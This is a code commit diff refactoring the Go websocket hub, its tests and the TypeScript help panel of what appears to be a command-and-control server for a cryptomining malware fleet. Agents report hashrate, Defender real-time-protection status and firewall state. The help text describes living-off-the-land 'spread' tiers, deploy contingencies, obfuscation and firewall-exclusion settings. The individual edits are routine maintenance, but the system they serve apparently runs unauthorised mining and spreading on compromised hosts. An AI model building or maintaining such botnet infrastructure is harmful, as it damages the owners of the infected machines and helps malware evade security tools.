Fix validation failures from loose-end sweep

server/internal/api/fleet_handler_test.go

@@ -4,6 +4,7 @@ import (
 	"context"
 	"encoding/json"
 	"errors"
+	"fmt"
 	"io"
 	"net/http"
 	"net/http/httptest"
@@ -83,13 +84,22 @@ func fleetChiRoute(method, pattern string, handler http.HandlerFunc) http.Handle
 	return r
 }
 
+func testAgentClientIP(agentID string) string {
+	var sum int
+	for i, c := range agentID {
+		sum += int(c) * (i + 1)
+	}
+	return fmt.Sprintf("10.42.%d.%d", (sum%250)+1, ((sum/250)%250)+1)
+}
+
 func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn {
 	t.Helper()
 	srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
 	t.Cleanup(srv.Close)
 
 	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
-	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	hdr := http.Header{"X-Forwarded-For": {testAgentClientIP(agentID)}}
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
 	if err != nil {
 		t.Fatalf("dial agent ws: %v", err)
 	}

server/internal/api/websocket.go

@@ -263,6 +263,7 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
 	h.mu.Unlock()
 }
 
+// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
 func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
 	h.mu.Lock()
 	h.adaptiveEngine = e
@@ -882,7 +883,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					domainJoined = true
 				}
 				fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
-				resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
+				adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
+				resp["adaptive_strategy"] = adaptive
 			}
 			return resp
 		}())})
@@ -1721,6 +1723,7 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
 	return ids
 }
 
+// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
 func (h *WSHub) PushAdaptiveStrategyUpdates() int {
 	h.mu.RLock()
 	engine := h.adaptiveEngine
@@ -1763,12 +1766,10 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
 	if v, ok := payload["firewall_domain"].(bool); ok {
 		firewallDomain = &v
 	}
-	h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
-	if hr, ok := payload["mining_hashrate"].(float64); ok {
-		if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
-			h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
-		}
-	}
+	attempts := parseLOTLAttemptsFromPayload(payload)
+	hashrate, _ := payload["mining_hashrate"].(float64)
+	activeTier, _ := payload["lotl_tier"].(string)
+	h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
 }
 
 func (h *WSHub) ingestStrategyFromStats(

server/internal/api/websocket_test.go

@@ -652,6 +652,9 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
 				}
 				updates = append(updates, u)
 			}
+			if len(updates) < 2 {
+				continue
+			}
 			batchCh <- batchResult{updates: updates}
 			return
 		}

server/web/src/help/accessDepth.ts

@@ -163,7 +163,9 @@ function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
   for (const row of raw) {
     if (!row || typeof row !== 'object') continue;
     const r = row as Record<string, unknown>;
-    if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
+    if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
+      continue;
+    }
     out.push({ fact: r.fact, inference: r.inference, action: r.action });
   }
   return out.length ? out : undefined;
@@ -259,7 +261,8 @@ function resolveMiningOrder(
 ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
   if (diag?.adaptive_strategy?.tier_order?.length) {
     const adaptiveOrder = diag.adaptive_strategy.tier_order;
-    if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
+    const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
+    if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
       return {
         order: adaptiveOrder,
         skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],

server/web/src/help/lotlOnionTiers.ts

@@ -1,6 +1,6 @@
 /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
 
-/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
+/** Operator note: spread tiers here are distinct from mining tiers. Adaptive strategy (server/internal/strategy) learns mining tier order from fleet stats and pushes strategy_reasoning on auth — it overrides mining order/skip hints only, not spread lotl_onion_tiers or patch_first gates. */
 export const ADAPTIVE_STRATEGY_HELP =
   'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
 

server/web/src/help/settingHelp.test.ts

@@ -34,6 +34,7 @@ describe('FIELD_HELP', () => {
     'calibrate_quick_setup',
     'forge_simple_mode',
     'forge_lotl_onion',
+    'lotl_onion_tiers',
     'forge_recommended_defaults',
     'obfuscate',
     'sigil_scramble',
@@ -94,6 +95,7 @@ describe('FIELD_HELP', () => {
     'websocket_ping_seconds',
     'log_pool_traffic',
     'adapt_to_hardware',
+    'adaptive_strategy',
     'self_healing',
     'firewall_exclusion',
     'firewall_remote',